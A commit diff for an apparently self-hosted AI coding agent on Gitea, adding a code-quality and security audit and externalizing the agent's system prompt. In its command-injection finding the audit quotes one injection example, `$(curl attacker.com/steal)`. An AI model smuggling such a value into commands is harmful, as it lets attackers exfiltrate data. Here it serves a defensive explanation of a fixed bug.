fix: improve prompts, error messages, and workspace concurrency

- Externalize coordinator, notification, and planning prompts to separate files
- Add workspace mutex for concurrent file operations
- Improve error messages across file_tools, issue_tools, and pr_tools
- Add logging to tool modules for better debugging
- Update tests to match new error message strings

.gitignore

@@ -28,3 +28,4 @@ logs/
 agent_state.json
 ai-electronbun-todo-app/
 test_connection.py
+.aider*

AGENTS.md

@@ -1,5 +1,11 @@
 # Agent Instructions
 
+## Import Organization
+
+- **Keep all imports at the top of the file.** Never add imports inside functions, methods, or conditional blocks.
+- Use absolute imports for project modules (e.g., `from gitea.models import IssueModel`).
+- Remove unused imports when editing files.
+
 ## Python Type Hints (REQUIRED)
 
 - **All functions must have type hints** for parameters and return types.
@@ -51,7 +57,7 @@
 - `GITEA_URL` — Gitea API base URL (REQUIRED)
 - `GITEA_TOKEN` — Gitea API token (REQUIRED)
 - `GITEA_REPOS_ROOT` — Local path to clone repos to (REQUIRED)
-- `AGENT_MODEL_ID` — LM Studio model ID (default: `qwen/qwen3.6-35b-a3b`)
+- `AGENT_MODEL_ID` — LM Studio model ID (default: `qwen3.6-35b-a3b-mtp@iq4_nl`)
 - `AGENT_MAX_RETRIES` — Max retries per task (default: `2`)
 
 # Architecture

bad_code.md

@@ -0,0 +1,442 @@
+# Bad Code Analysis
+
+## 1. Security Vulnerabilities
+
+### 1.1 Hardcoded Credentials in Git Credentials File [RESOLVED]
+
+**File:** `gitea/workspace.py:46`
+
+```python
+cred_line = f"{parsed.scheme}://meeks-ai:{GITEA_TOKEN}@{parsed.netloc}\n"
+```
+
+The Gitea token is embedded directly in the git credential URL and written to `~/.git-credentials` in plaintext. Anyone with filesystem access can read the token. This is a critical credential exposure vulnerability.
+
+**Resolution:**
+Replaced the plaintext `~/.git-credentials` storage and the local git `credential.helper store` setup with local repository-scoped `http.extraHeader` configuration. The token is dynamically Base64 encoded and passed as `Authorization: Basic <base64>` for cloning and local repository Git operations, ensuring credentials are never stored globally or in plaintext outside the repository's configuration.
+
+### 1.2 Secrets Set as Environment Variables at Import Time [RESOLVED]
+
+**File:** `gitea/config.py:38-43`
+
+```python
+os.environ["GITEA_SERVER_URL"] = GITEA_URL
+os.environ["GITEA_SERVER_TOKEN"] = GITEA_TOKEN
+```
+
+Secrets were injected into the global environment at module import time. This polluted the process environment, made secrets discoverable via `os.environ`, and could leak into child processes, logs, and debugging tools.
+
+**Resolution:**
+Removed the code block writing secrets to `os.environ` at import time in `gitea/config.py`.
+
+
+### 1.3 Hardcoded Personal Email [RESOLVED]
+
+**File:** `gitea/workspace.py:60`
+
+```python
+email = user.email or f"{user.login or 'agent'}@noreply.gitea"
+```
+
+A personal email address was hardcoded as a fallback. This has been resolved by using a dynamic fallback email based on the authenticated user's login name.
+
+### 1.4 No Input Sanitization in Shell Commands [RESOLVED]
+
+**File:** `gitea/tools/coding_tools.py:266`, `coding_tools.py:200`
+
+```python
+command: str = f"grep -ri '{pattern}' {resolved}"
+```
+
+```python
+if "tea pr create" in command:
+```
+
+User-controlled or LLM-generated strings were interpolated directly into shell commands with `shell=True`. This was a command injection vulnerability. The LLM could have been prompted to inject commands like `$(curl attacker.com/steal)` into file paths or search patterns.
+
+**Resolution:**
+Modified `grep_search` to invoke the `grep` subprocess safely with `shell=False` and a list of command arguments `["grep", "-ri", pattern, resolved]`, eliminating shell interpolation and command injection risks. Added corresponding test assertions to verify `shell=False` execution.
+
+## 2. Architecture Anti-Patterns
+
+### 2.1 God Class: GiteaClient [RESOLVED]
+
+**File:** `gitea/client.py` (451 lines, 30+ methods)
+`GiteaClient` implements 5 interfaces (`IssuesClient`, `PullRequestsClient`, `FilesClient`, `RefsClient`, `ReposClient`) and contains 30+ methods covering issues, PRs, files, refs, notifications, and repository operations. This violates the Single Responsibility Principle. Any change to one area (e.g., adding a new issue endpoint) requires touching a massive, unrelated class.
+
+**Resolution:**
+Refactored `GiteaClient` from a 502-line God Class into a ~70-line facade that provides access to 5 focused sub-clients, each responsible for a single domain:
+- `gitea/issues_client.py` - `IssuesClient` (9 methods for issue operations)
+- `gitea/prs_client.py` - `PullRequestsClient` (17 methods for PR operations)
+- `gitea/files_client.py` - `FilesClient` (4 methods for file and git ref operations)
+- `gitea/notifications_client.py` - `NotificationsClient` (2 methods for notification operations)
+- `gitea/repos_client.py` - `ReposClient` (2 methods for repository and user operations)
+
+Each sub-client follows the Single Responsibility Principle and is independently testable. The `GiteaClient` now only handles HTTP client lifecycle (`__init__`, `close`, `__enter__`, `__exit__`, `__del__`) and exposes the sub-clients as attributes (`client.issues`, `client.prs`, `client.files`, `client.notifications`, `client.repos`). All callers were updated to use the sub-clients directly.
+
+### 2.2 Triple Layer of Indirection (Facade Anti-Pattern) [RESOLVED]
+
+**File:** `gitea/client.py` -> `gitea/tools/gitea_tools.py` -> `gitea/tools/issue_tools.py`
+
+```
+CodingAgent calls GiteaTools.add_comment()
+  -> GiteaTools delegates to IssueTools.add_comment()
+    -> IssueTools calls GiteaClient.add_comment()
+```
+
+Each layer adds zero value — no caching, no validation, no abstraction benefit. It's just pass-through delegation that makes the code harder to navigate and debug.
+
+**Resolution:**
+Removed the `GiteaTools` facade class entirely. The `AgentDispatcher`, `AgentOrchestrator`, and `TaskProcessor` classes now use the focused tool classes (`IssueTools`, `PRTools`, `FileTools`, `GitTools`) directly. This eliminates the unnecessary indirection layer and makes the code easier to navigate and debug. The `gitea/tools/gitea_tools.py` file and its corresponding test file `tests/test_gitea_tools.py` were deleted.
+
+### 2.3 Useless Factory Pattern [RESOLVED]
+
+**File:** `core/factory.py`
+
+```python
+@staticmethod
+def create_coding_agent(model_name: str) -> CodingAgent:
+    return CodingAgent(model_name)
+```
+
+Every factory method was a static method that directly instantiated and returned the object with no polymorphism or abstraction. This added a useless layer of indirection.
+
+**Resolution:**
+The factory classes were completely removed. The components (`NotificationReaderAgent`, `CodingAgent`, etc.) are now imported and instantiated directly where they are used. The `core/factory.py` file was deleted.
+
+### 2.4 Duplicate Agent Classes with Identical Prompts [RESOLVED]
+
+**File:** `core/coding_agent.py:13`, `core/planning_agent.py:13`
+
+```python
+# coding_agent.py
+self.system_prompt = CODING_AGENT_SYSTEM_PROMPT
+
+# planning_agent.py  
+self.system_prompt = CODING_AGENT_SYSTEM_PROMPT
+```
+
+`CodingAgent` and `PlanningAgent` are separate classes that use the exact same system prompt. There is no behavioral differentiation — they are identical code with different names. This is copy-paste duplication.
+
+**Resolution:**
+Created a distinct, tailored `PLANNING_AGENT_SYSTEM_PROMPT` in [prompts.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/prompts.py) specifically for the planning phase (focusing on research and drafting implementation plans without instructions on Git checkout/commit/PR lifecycle). Updated [planning_agent.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/planning_agent.py) to import and use the new prompt and added strict type hints to both [planning_agent.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/planning_agent.py) and [coding_agent.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/coding_agent.py).
+
+
+### 2.5 Vacuous Interface Hierarchy [RESOLVED]
+
+**File:** `core/interfaces.py`
+The ABC interfaces (`IssuesClient`, `PullRequestsClient`, etc.) are defined but serve no practical purpose. `GiteaClient` directly inherits from all of them, but since there is only one implementation, the interfaces add no value. They neither enable mocking in tests nor allow swapping implementations. They are interfaces in name only.
+
+**Resolution:**
+Removed the vacuous interfaces entirely. Deleted `core/interfaces.py` and updated `GiteaClient` (`gitea/client.py`) and `BaseAgent` (`core/agent.py`) to no longer inherit from or import these unused Abstract Base Classes.
+
+
+## 3. Error Handling Problems
+
+### 3.1 Bare Except Clauses Swallowing All Errors [RESOLVED]
+
+Scattered throughout the codebase (especially in `core/dispatcher.py` when retrieving files, comments, or reviews):
+
+```python
+# core/dispatcher.py:475
+except Exception:
+    pass
+```
+
+Bare/silent `except Exception` blocks caught all unexpected errors and bypassed logging or error handling, making debugging difficult.
+
+**Resolution:**
+Refactored all silent `except Exception: pass` blocks in `core/dispatcher.py` to capture the exception and log a warning with `logger.warning(..., exc_info=True)`. This preserves visibility of API or filesystem errors during issue and PR task processing.
+
+### 3.2 `print()` Mixed with Logging Framework [RESOLVED]
+
+**File:** `gitea/client.py:41, 61, 176, 218, 237, 420, 431, 449`
+The codebase uses Python's `logging` module in some places but falls back to `print()` for error output in `GiteaClient`. This creates inconsistent log output, bypasses log rotation, and makes it impossible to filter or route errors through structured logging.
+
+**Resolution:**
+Replaced all `print()` statements in `gitea/client.py`, `gitea/tools/pr_tools.py`, and `gitea/tools/issue_tools.py` with standard Python logging calls using `logger.error(..., exc_info=True)`. Logger objects are initialized per module and consistent log/error handling is established.
+
+### 3.3 Silent Failure in `list_assigned_issues` [RESOLVED]
+
+**File:** `gitea/client.py:161-162`
+
+```python
+repo_owner = r.owner if hasattr(r, 'owner') else (r.get("owner") or {}).get("login", "")
+repo_name = r.name if hasattr(r, 'name') else r.get("name", "")
+```
+
+The code checks `hasattr` as a fallback, which means the `RepositoryModel` type is sometimes a Pydantic model and sometimes a raw `dict`. This is a type inconsistency that indicates the model is not being used correctly.
+
+**Resolution:**
+Removed the redundant `hasattr` checks and fallback dictionary access in both `list_assigned_issues` and `list_assigned_pull_requests` methods of `GiteaClient`. Because `RepositoryModel` is used consistently, properties `r.owner` and `r.name` are accessed directly.
+
+## 4. Dangerous Side Effects
+
+### 4.1 `os.chdir()` in Dispatcher [RESOLVED]
+
+**File:** `core/dispatcher.py:680-684`
+
+```python
+original_cwd = os.getcwd()
+if os.path.isdir(str(repo_path)):
+    os.chdir(str(repo_path))
+    changed_dir = True
+```
+
+Changing the working directory in a long-running async process is dangerous. If any coroutine runs concurrently or if the `finally` block fails to restore the directory, all subsequent file operations in the process will target the wrong directory. The `finally` restoration is a band-aid, not a solution.
+
+**Resolution:**
+Removed the `os.chdir()` call and related directory-restoration logic completely from `AgentDispatcher.dispatch`. Since all subprocess commands, git operations, and file operations in `WorkspaceManager` and `CodingTools` are invoked with explicit local repository working directory parameters (`cwd` or `-C`), changing the global process directory is completely unnecessary and has been safely eliminated.
+
+### 4.2 Destructive `sanitize_repo` [RESOLVED]
+
+**File:** `gitea/workspace.py:81-118`
+
+```python
+subprocess.run(["git", "-C", str(repo_path), "reset", "--hard", "HEAD"], ...)
+subprocess.run(["git", "-C", str(repo_path), "clean", "-fdx"], ...)
+```
+
+`git reset --hard HEAD` and `git clean -fdx` destroy all uncommitted changes and untracked files. This is destructive and irreversible. In an automated agent context, this could delete work that was in progress.
+
+**Resolution:**
+Refactored `WorkspaceManager.sanitize_repo` to first check if there are uncommitted changes or untracked files using `git status --porcelain`. If any are found, it runs `git stash push -u -m "Auto-backup before agent sanitization"` to preserve them in git stash. Additionally, if any of the sanitization subprocess calls fail, the method raises a `RuntimeError` rather than catching and swallowing it, avoiding silent downstream failures.
+
+### 4.3 Global `git config --global --unset` [RESOLVED]
+
+**File:** `gitea/workspace.py:22-33`
+
+```python
+subprocess.run(["git", "config", "--global", "--unset", "credential.helper"], ...)
+subprocess.run(["git", "config", "--global", "--unset", "user.name"], ...)
+```
+
+Unsetting global git config on every `WorkspaceManager` instantiation affects the entire user's git configuration, not just the agent's workspace. This is a dangerous side effect that could break the user's other git workflows.
+
+**Resolution:**
+Removed the `_configure_git_credentials()` method entirely. The agent now relies on local repository-scoped `http.extraHeader` configurations and local git configs, avoiding any global config changes and eliminating global side-effects.
+
+## 5. Code Quality Issues
+
+### 5.1 `Any` Type Overuse [RESOLVED]
+
+Throughout the codebase, `Any` was used where specific types would be better:
+
+```python
+# gitea/client.py:34
+def get_authenticated_user(self) -> UserModel | None:
+    # Returns UserModel but internally handles raw dict
+
+# gitea/tools/gitea_tools.py:58
+def list_assigned_issues(self) -> list[dict]:  # Bare dict, not dict[str, Any]
+```
+
+**Resolution:**
+Replaced `Any` type annotations with `object` or specific types across the codebase:
+- `core/agent.py`: Changed `Any` to `object` for message parameters and model attributes
+- `gitea/files_client.py`: Changed `dict[str, Any]` to `dict[str, object]`
+- `gitea/issues_client.py`: Changed `dict[str, Any]` to `dict[str, str | list[str]]` for issue data
+- `gitea/models.py`: Changed `dict[str, Any]` to `dict[str, object]` for `head` and `base` fields
+- `gitea/notifications_client.py`: Changed `list[dict[str, Any]]` to `list[dict[str, object]]`
+- `gitea/prs_client.py`: Changed `dict[str, Any]` to specific types (`dict[str, str | None]`, `dict[str, str]`, `dict[str, object]`) and introduced `ReviewRequest` dataclass for review payloads
+- `gitea/repos_client.py`: Changed `list[dict[str, Any]]` to `list[dict[str, object]]`
+- `gitea/tools/git_tools.py`: Removed unused `from typing import Any` import
+
+### 5.2 `assert` Used for Control Flow [RESOLVED]
+
+**Files:** `core/dispatcher.py:492, 741, 754`, `core/agent.py:74, 94`
+
+```python
+issue_info = self.item.task_info
+assert isinstance(issue_info, IssueModel)
+```
+
+`assert` can be disabled with `python -O` (optimize flag). Using it for runtime type validation means the check disappears in production builds.
+
+**Resolution:**
+Replaced all control-flow `assert` statements with proper runtime checks (raising `TypeError` for invalid task info in `core/dispatcher.py`, and `RuntimeError` if model initialization fails in `core/agent.py`). Also added unit tests in `tests/test_dispatcher.py` to verify correct raising of `TypeError` when invalid task info models are provided.
+
+
+### 5.3 Hardcoded Values Scattered Throughout [RESOLVED]
+
+**Files:** `core/dispatcher.py:82`, `gitea/client.py:67,440`, `gitea/config.py`
+
+```python
+# core/dispatcher.py:82
+agent_usernames = {ai_username, "agent-bot"}  # Hardcoded fallback username
+
+# gitea/client.py:67
+if (r.get("owner") or {}).get("login") == "meeks":  # Hardcoded org filter
+
+# gitea/client.py:440
+if owner_login == "meeks":  # Hardcoded org filter in notifications
+```
+
+**Resolution:**
+Added configurable settings `agent_usernames` (list of additional agent usernames) and `gitea_org_filter` (organization name for repo filtering) to `gitea/config.py`. Updated `core/dispatcher.py` to use `AGENT_USERNAMES` from config instead of hardcoded `"agent-bot"`. Updated `gitea/client.py` to use `GITEA_ORG_FILTER` in both `list_all_user_repos()` and `list_unread_notifications()` methods. The `agent_model_id` was already configurable via environment variables.
+
+### 5.4 Inconsistent Return Types [RESOLVED]
+
+Methods that should return structured data return `str` instead:
+
+```python
+# gitea/tools/issue_tools.py:15
+def get_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
+    # Returns IssueModel instead of JSON string
+
+# gitea/tools/pr_tools.py:19
+def get_pull_request(self, owner: str, repo: str, pull_number: int) -> PullRequestModel:
+    # Returns PullRequestModel instead of JSON string
+
+# gitea/tools/pr_tools.py:122
+def create_pull_request(...) -> PullRequestModel:
+    # Returns PullRequestModel instead of JSON string
+
+# gitea/tools/pr_tools.py:139
+def update_pull_request(...) -> PullRequestModel:
+    # Returns PullRequestModel instead of JSON string
+```
+
+The callers (LLM agent framework) handle model-to-JSON serialization automatically, so returning the model object directly provides type safety without losing the ability to display structured data to the LLM.
+
+**Resolution:**
+Updated `IssueTools.get_issue` to return `IssueModel`, `PRTools.get_pull_request` to return `PullRequestModel`, and `PRTools.create_pull_request` / `PRTools.update_pull_request` to return `PullRequestModel`. All methods now have proper return type hints and raise exceptions on error instead of returning error strings. Updated corresponding tests to verify model objects are returned directly.
+
+### 5.5 Mutable Default Arguments (Near Miss)
+
+While the codebase correctly uses `Field(default_factory=list)` in Pydantic models, the `CoordinatorTools` and `NotificationTools` classes use mutable instance attributes (`self.arguments: dict[str, Any] = {}`) that are shared state across tool calls. If two tool calls happen before the next decision, the arguments accumulate.
+
+## 6. Performance Issues
+
+### 6.1 Creating HTTP Client Per Request [RESOLVED]
+
+**File:** `gitea/client.py`
+
+Every HTTP method previously created a new `httpx.Client()` context manager. This meant a new TCP connection was established for every API call. A single `poll_and_dispatch` cycle could create 10+ HTTP clients.
+
+**Resolution:**
+Updated `GiteaClient` to initialize a single shared `self.client: httpx.Client = httpx.Client(headers=self.headers)` during class instantiation. Removed the block-scoped `with httpx.Client() as client:` contexts and direct `httpx.get()` calls, and updated the test suite (`tests/test_client.py`) to patch `httpx.Client.get` instead.
+
+
+### 6.2 No Caching
+
+- Notifications are re-fetched every 60 seconds without any deduplication beyond the `since` timestamp
+- PR diffs are fetched fresh every time a PR is processed
+- File contents are fetched from the remote API instead of the local workspace when the repo is already cloned
+
+## 7. Concurrency Issues
+
+### 7.1 WorkQueue Claims Thread-Safety But Has None [RESOLVED]
+
+**File:** `core/queue.py:19`
+
+```python
+class WorkQueue:
+    """Thread-safe work queue grouped by repo."""
+```
+
+The docstring claimed thread-safety, but there were no locks. This has been resolved by using a `threading.Lock` inside all queue methods to serialize access to the internal lists and sets.
+
+### 7.2 No Mutex on Workspace Operations
+
+Multiple work items for the same repo can trigger concurrent `git clone`, `git reset`, and `git clean` operations. There is no locking to prevent race conditions on the filesystem.
+
+## 8. Prompt Engineering Issues
+
+### 8.1 Massive Embeded System Prompts
+
+**File:** `core/coding_prompt.py` (221 lines)
+A 221-line system prompt is embedded as a module-level string constant. This makes the prompt impossible to version-control separately, A/B test, or update without redeploying code. Prompts should be in separate files or a database.
+
+### 8.2 Duplicated Prompt Content [RESOLVED]
+
+`CODING_AGENT_SYSTEM_PROMPT` is used by both `CodingAgent` and `PlanningAgent` with no differentiation. If the planning agent needs different instructions, both agents must be updated simultaneously.
+
+**Resolution:**
+Defined `PLANNING_AGENT_SYSTEM_PROMPT` inside [prompts.py](file:///c:/Users/40122584/Jobb/github/agent-gitea/core/prompts.py) to differentiate planning-specific instructions from coding/execution instructions.
+
+
+## 9. Testing Issues
+
+### 9.1 Tests Don't Mock HTTP Calls
+
+**File:** `tests/test_client.py` and others
+The tests appear to test real HTTP calls or minimal mocking. The `GiteaClient` creates its own `httpx.Client()` internally, making it impossible to inject a mock client. Tests should use dependency injection or `unittest.mock.patch` to avoid network calls.
+
+### 9.2 No Tests for Critical Paths
+
+- `WorkspaceManager.sanitize_repo()` (destructive git operations) has no tests
+- `CodingTools.run_command()` (shell execution) has no tests
+- `AgentOrchestrator.poll_and_dispatch()` (main polling loop) has no integration tests
+- `dispatcher.py` (763 lines) has no dedicated test coverage
+
+## 10. CUPID Programming Violations
+
+### 10.1 Not Clear [RESOLVED]
+
+- **Excessive indirection:** `GiteaTools` -> `IssueTools` -> `GiteaClient` adds 3 levels of pass-through with zero value [RESOLVED - see 2.2]
+- **Unclear responsibilities:** `GiteaClient` handles issues, PRs, files, refs, notifications, and repository management — 5 distinct domains [RESOLVED - see 2.1]
+- **Confusing naming:** `add_comment` and `add_comment_to_issue` do the same thing; `add_label` and `add_label_to_issue` do the same thing [RESOLVED]
+
+**Resolution (Confusing Naming):**
+Removed the duplicate methods `add_comment` and `add_label` from `IssueTools`. Only the more descriptive `add_comment_to_issue` and `add_label_to_issue` methods remain. Updated `core/dispatcher.py` to remove the duplicate tool registrations and updated `core/coding_prompt.py` to reference only `add_comment_to_issue`. Removed corresponding duplicate tests from `tests/test_issue_tools.py`.
+
+### 10.2 Not Understandable
+
+- **Massive files:** `dispatcher.py` (763 lines), `coding_prompt.py` (221 lines), `client.py` (451 lines) are too large to comprehend in a single reading
+- **Complex control flow:** `IssueTaskProcessor.process()` (lines 452-653) has 7 nested `if/elif` branches, multiple `try/except` blocks, and inline subprocess calls — impossible to mentally trace
+- **Mixed concerns:** `workspace.py` mixes git credential management, repo cloning, and user configuration setup
+
+### 10.3 Not Performant
+
+- **HTTP client per request:** Every API call creates a new TCP connection (see section 6.1)
+- **No connection pooling:** `httpx.Client()` should be a shared singleton
+- **Redundant data fetching:** Fetches PR diff, PR files, PR comments, and PR reviews separately when they could be batched
+- **Inline subprocess calls:** Multiple `subprocess.run()` calls in `IssueTaskProcessor.process()` for git operations instead of using a git library
+
+### 10.4 Not Inspectable
+
+- **Minimal logging:** Most errors use `print()` instead of the logging framework
+- **No metrics:** No counters for API calls, errors, processing times, or queue depth
+- **No structured tracing:** No request IDs, no correlation between notification receipt and processing
+- **State file is opaque:** `agent_state.json` is a simple timestamp with no versioning or migration
+
+### 10.5 Not Delightful
+
+- **Poor error messages:** `"Error getting issue: {str(e)}"` gives no actionable information
+- **No user feedback:** When the agent fails, there is no graceful degradation or helpful error message
+- **Destructive operations:** `git reset --hard` and `git clean -fdx` with no confirmation or dry-run option
+- **Silent failures:** Methods return empty lists or `None` on error with no way to detect the failure downstream
+
+## Summary
+
+| Category                   | Severity | Total | Unresolved |
+| -------------------------- | -------- | ----- | ---------- |
+| Security Vulnerabilities   | Critical | 4     | 0          |
+| Architecture Anti-Patterns | High     | 5     | 0          |
+| Error Handling Problems    | High     | 3     | 0          |
+| Dangerous Side Effects     | High     | 3     | 0          |
+| Code Quality Issues        | Medium   | 5     | 1          |
+| Performance Issues         | Medium   | 2     | 1          |
+| Concurrency Issues         | Medium   | 2     | 1          |
+| Prompt Engineering Issues  | Medium   | 2     | 1          |
+| Testing Issues             | Medium   | 2     | 2          |
+| CUPID Violations           | High     | 5     | 4          |
+
+**Total: 33 issues identified, 10 unresolved.**
+
+### Unresolved Issues
+
+| #    | Issue                                  | Section |
+| ---- | -------------------------------------- | ------- |
+| 1    | Mutable Default Arguments (Near Miss)  | 5.5     |
+| 2    | No Caching                             | 6.2     |
+| 3    | No Mutex on Workspace Operations       | 7.2     |
+| 4    | Massive Embedded System Prompts        | 8.1     |
+| 5    | Tests Don't Mock HTTP Calls            | 9.1     |
+| 6    | No Tests for Critical Paths            | 9.2     |
+| 7    | Not Understandable                     | 10.2    |
+| 8    | Not Performant                         | 10.3    |
+| 9    | Not Inspectable                        | 10.4    |
+| 10   | Not Delightful                         | 10.5    |
+

core/agent.py

@@ -1,7 +1,7 @@
 import asyncio
 import logging
 import lmstudio as lms
-from typing import Any, Callable
+from typing import Callable
 from .prompt import CAVEMAN_PROMPT
 
 logger: logging.Logger = logging.getLogger("agent-base")
@@ -13,7 +13,7 @@ class _ActResponseCapture:
     def __init__(self) -> None:
         self.responses: list[str] = []
 
-    def __call__(self, message: Any) -> None:
+    def __call__(self, message: object) -> None:
         content: str = ""
         if hasattr(message, 'content'):
             content = message.content
@@ -58,7 +58,7 @@ class BaseAgent:
 
     def __init__(self, model_name: str) -> None:
         self.model_name: str = model_name
-        self.model: Any | None = None
+        self.model: object | None = None
         self.system_prompt: str = ""
 
     async def initialize(self) -> None:
@@ -87,7 +87,7 @@ class BaseAgent:
             logger.error(f"Agent execution error: {e}")
             return f"Error in agent execution: {str(e)}"
 
-    async def run_with_tools(self, user_input: str, tools: list[Any]) -> str:
+    async def run_with_tools(self, user_input: str, tools: list[object]) -> str:
         """Run the agent with tool calling capability."""
         if self.model is None:
             await self.initialize()

core/coding_prompt.py

@@ -1,221 +1,9 @@
-CODING_AGENT_SYSTEM_PROMPT = """
-CODING AGENT SYSTEM PROMPT
+"""Coding agent system prompt, loaded from external file."""
 
-You are an autonomous AI Software Engineer working on the `meeks` organization's repositories. Your role is to resolve assigned issues by branching from master, implementing fixes, and creating pull requests.
+from pathlib import Path
 
-### 🎯 SCOPE & BOUNDARIES
-- **Organization**: You ONLY work on repositories under the `meeks` organization (e.g., `meeks/ai-electronbun-todo-app`).
-- **DO NOT work on**: any other organization/personal repos.
-- **DO NOT create new repositories**. The repo already exists. It is cloned locally in the workspace (which is your current working directory).
-- **DO NOT edit `.git` files** unless explicitly asked to resolve a git conflict or rebase issue.
+_PROMPTS_DIR: Path = Path(__file__).resolve().parent.parent / "prompts"
 
-### 🏗️ REPOSITORY WORKFLOW (MANDATORY)
-Every change MUST follow this exact workflow:
-
-1. **Checkout master**: Always start from the latest master branch.
-   ```bash
-   git checkout master && git pull origin master
-   ```
-
-2. **Create branch**: Use Angular convention for branch naming:
-   ```bash
-   # Types: feat, fix, chore, docs, style, refactor, test, build, ci, perf
-   # Branch names MUST include a descriptive name, not just the issue number or numbers.
-   git checkout -b feat/issue-<number>-descriptive-name
-   ```
-   - `feat/` for new features
-   - `fix/` for bug fixes
-   - `chore/` for maintenance tasks
-   - `docs/` for documentation
-   - `style/` for code style (formatting, semicolons, etc.)
-   - `refactor/` for code refactoring (no behavior change)
-   - `test/` for adding or updating tests
-   - `build/` for build system changes
-   - `ci/` for CI/CD pipeline changes
-   - `perf/` for performance improvements
-
-3. **Implement changes**: Edit files using `edit_file` or `write_file`. Make targeted, incremental changes.
-
-4. **Commit**: Use conventional commit messages:
-   ```bash
-   git add <files>
-   git commit -m "type: brief description of changes"
-   # Examples:
-   # git commit -m "fix: update dev script to use vite dev server"
-   # git commit -m "feat: add localStorage persistence to todo store"
-   ```
-
-5. **Push**: Push your branch to origin:
-   ```bash
-   git push origin feat/descriptive-name
-   ```
-
-6. **Create / Update PR**: Always create or update PRs using the dedicated tools `create_pull_request` and `update_pull_request`.
-   Do NOT use Gitea's `tea` CLI or GitHub's `gh` CLI via `run_command` (they run interactively and will freeze/hang indefinitely).
-   Call the tools directly.
-   The PR description/body MUST follow the template below.
-
-### 📋 PR TEMPLATE (MANDATORY)
-Every PR body MUST use this exact template:
-
-```
-<!-- 🤖 GITEA AUTOMATION BLOCK -->
-closes #<ISSUE_NUMBER>
-Impact Radius: [Auth, Database, UI Component, API Endpoint, etc.]
-
----
-
-## 📝 Summary
-<!-- Short summary of what this PR introduces and why it is needed. -->
-<YOUR_SUMMARY_HERE>
-
----
-
-## 🛠️ Technical Implementation
-- [ ] **Database:** [Schema migration added / No changes]
-- [ ] **Dependencies:** [Upgraded Package X / No new packages]
-- [ ] **Breaking Changes:** [Yes / No] -> *If yes, explain downstream impact:*
-
----
-
-## 🧪 Verification & Testing
-
-### Manual Verification Steps
-1. <STEP_1>
-2. <STEP_2>
-3. <STEP_3>
-
-### Automated Test Status
-- [ ] Unit Tests [Passed / Added]
-- [ ] Integration/E2E Tests [Passed / Added]
-
----
-
-## 🚨 Risk & Rollback Strategy
-- **Deployment Caveats:** [None / Specific env vars needed]
-- **Rollback Plan:** [Revert commit / toggle feature flag]
-
----
-
-## 📋 Quality Checklist
-- [ ] Code follows project style guidelines and architectural patterns.
-- [ ] Documentation (README, inline comments) is updated.
-- [ ] Secure practices followed (no hardcoded secrets, input sanitized).
-```
-
-### 🌐 RESEARCH BEFORE ACTING (MANDATORY)
-
-Before writing any code or making any changes, you MUST:
-
-1. **Search online** for documentation, known solutions, package APIs, error explanations, and platform-specific behavior.
-   - Use web search tools for: library docs, error messages, OS-specific quirks, framework conventions.
-   - Do NOT guess at APIs or behavior you are not certain about — look them up first.
-   - Examples: package.json script syntax, cross-platform shell commands, framework lifecycle hooks, etc.
-
-2. **Identify uncertainties** in the issue or PR:
-   - Is the expected behavior clearly defined?
-   - Are there platform constraints you don't know about (Windows vs Linux vs macOS)?
-   - Are there user preferences not stated?
-   - Could multiple approaches work and you're unsure which to pick?
-
-3. **If ANY uncertainty exists** — STOP and ask before implementing:
-   - Post a comment on the issue or PR (using `add_comment_to_issue` tool) with your specific question(s).
-   - List the approaches you are considering and ask which is preferred.
-   - **Your comment MUST include the following marker on its own line at the very end:**
-     ```
-     <!-- agent:awaiting-reply -->
-     ```
-     This tells the system you are explicitly waiting for a human response, and prevents you from being re-dispatched to repeat the same question.
-   - Do NOT proceed with implementation until you receive a reply.
-   - Do NOT make assumptions and proceed silently.
-   - Do NOT repeat the same question in subsequent runs — if you already asked, wait.
-
-4. **After researching and confirming requirements**, then implement.
-
-⚠️ **CRITICAL**: An assumption that turns out wrong wastes everyone's time. Always prefer asking over guessing.
-
----
-
-### 🔍 ISSUE HANDLING WORKFLOW
-
-#### When Processing an Issue:
-1. **Read the full issue description** and all comments carefully.
-2. **Check AGENTS.md** in the repo root for project-specific conventions, verification steps, and coding standards.
-3. **Research online** — search for relevant docs, solutions, and platform behavior before writing any code.
-4. **Identify ambiguities** — if the issue is unclear, missing context, or has multiple valid approaches, post a clarifying comment on the issue and STOP. Wait for a human response before proceeding.
-5. **Assess severity**:
-   - **Critical/High**: Fix immediately (e.g., broken builds, data loss, security issues, production bugs).
-   - **Medium**: Review and fix (e.g., missing features, poor UX, technical debt).
-   - **Low**: Skip or defer (e.g., cosmetic issues, minor typos, nitpicks).
-6. **Formulate a plan** based on the issue description, research findings, and AGENTS.md.
-7. **Implement the fix** following the repository workflow above.
-8. **Verify the fix**:
-   - If AGENTS.md has verification steps, follow them.
-   - Otherwise, review the diff vs master and validate code quality.
-   - Research dependencies to ensure code standards are met.
-9. **Create a PR** linking the issue using the dedicated `create_pull_request` tool. Do NOT use the `tea` CLI via `run_command`.
-10. **Comment on the issue** (using `add_comment_to_issue`) immediately after PR creation, stating the PR number/link and a brief summary.
-11. **An issue is DONE when the connected PR is merged** (you cannot merge yourself — leave it for humans).
-
-#### When Fixing/Updating a PR (addressing review feedback):
-1. **Read all review comments and change requests** on the PR carefully.
-2. **Research online** for any technology or approach mentioned in the feedback you are not 100% sure about.
-3. **If any feedback is ambiguous** — post a clarifying comment on the PR asking for clarification. Do NOT guess what the reviewer meant. Stop and wait for a reply.
-4. **Once feedback is clear**, implement fixes on the existing branch (do NOT create a new branch or PR).
-5. **Push and comment** on the PR with a summary of all changes made.
-
-#### When Reviewing a PR:
-1. **DO NOT write files, make commits, push branches, or create any new PRs**. Your only task is to review the existing PR.
-2. **Research online** any technology, library, or approach used in the PR that you are not certain about before critiquing it.
-3. **Check out the diff** vs master: `git diff origin/master...HEAD`.
-4. **Review code quality**:
-   - Does it follow project conventions (check AGENTS.md)?
-   - Are there security issues?
-   - Is there proper error handling?
-   - Are edge cases covered?
-   - Are dependencies used correctly?
-5. **Grade the severity** of any issues found:
-   - **Critical**: Blocker, must fix before merge.
-   - **Medium**: Should fix, but can merge with notes.
-   - **Low**: Nice-to-have, can defer.
-6. **Post a review comment on the PR** with:
-   - Files and line numbers with markup visualization.
-   - Severity grade.
-   - Specific feedback and suggested fixes.
